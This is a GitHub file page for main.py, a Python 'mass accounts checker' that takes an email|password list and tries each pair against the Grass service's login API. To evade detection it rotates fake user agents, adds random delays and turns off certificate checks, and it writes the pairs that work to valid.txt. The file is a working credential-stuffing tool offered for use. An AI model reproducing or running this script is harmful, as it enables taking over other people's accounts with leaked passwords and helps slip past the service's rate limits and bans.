-
Notifications
You must be signed in to change notification settings - Fork 1
/
main.py
69 lines (58 loc) · 2.69 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import requests
import time
import random
from fake_useragent import UserAgent
from colorama import init, Fore
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
init(autoreset=True)
url = 'https://api.getgrass.io/login'
headers = {
'origin': 'https://app.getgrass.io',
'referer': 'https://app.getgrass.io/',
'user-agent': UserAgent().random
}
banner = """
_____) _____)
/ / ,
/ ___ _ _/_ / ___ __ _ _ _ ___
/ / ) _(/_(__/ / ) / (_(_(_/_)_/_)_ o _(_(_)
(____ / (____ /
"""
print(Fore.CYAN + banner + Fore.RESET)
print(f"{Fore.CYAN} MASS ACCOUNTS CHECKER | github.com/im-hanzou{Fore.RESET}")
print(f"\n")
filename = input(f"{Fore.BLUE}Input your (USER|PASS) file : {Fore.RESET}")
print(f"\n")
valid_file = 'valid.txt'
invalid_pass_file = 'invalidpass.txt'
invalid_accs_file = 'invalidaccs.txt'
try:
with open(filename, 'r', encoding='utf-8', errors='ignore') as file:
for line in file:
parts = line.strip().split('|')
if len(parts) < 2:
print(f"{Fore.RED}[ Invalid format in line: {line.strip()} ]{Fore.RESET}")
continue
email = parts[0]
password = '|'.join(parts[1:])
data = {'username': email, 'password': password}
response = requests.post(url, headers=headers, json=data, verify=False)
if response.status_code == 200:
print(f"{Fore.GREEN}[ {email} | VALID ACCOUNT ]{Fore.RESET}")
with open(valid_file, 'a') as valid_output:
valid_output.write(f"{email}|{password}\n")
elif response.status_code == 400:
print(f"{Fore.RED}[ {email} | INVALID PASSWORD ]{Fore.RESET}")
with open(invalid_pass_file, 'a') as invalid_pass_output:
invalid_pass_output.write(f"{email}|{password}\n")
elif response.status_code == 404:
print(f"{Fore.RED}[ {email} | INVALID ACCOUNT ]{Fore.RESET}")
with open(invalid_accs_file, 'a') as invalid_accs_output:
invalid_accs_output.write(f"{email}|{password}\n")
else:
print(f"{Fore.YELLOW}[ Unknown response: {response.status_code} | YOUR IP BANNED ]{Fore.RESET}")
delay = random.uniform(1, 5)
time.sleep(delay)
except FileNotFoundError:
print(f"{Fore.RED} File not found :) {Fore.RESET}")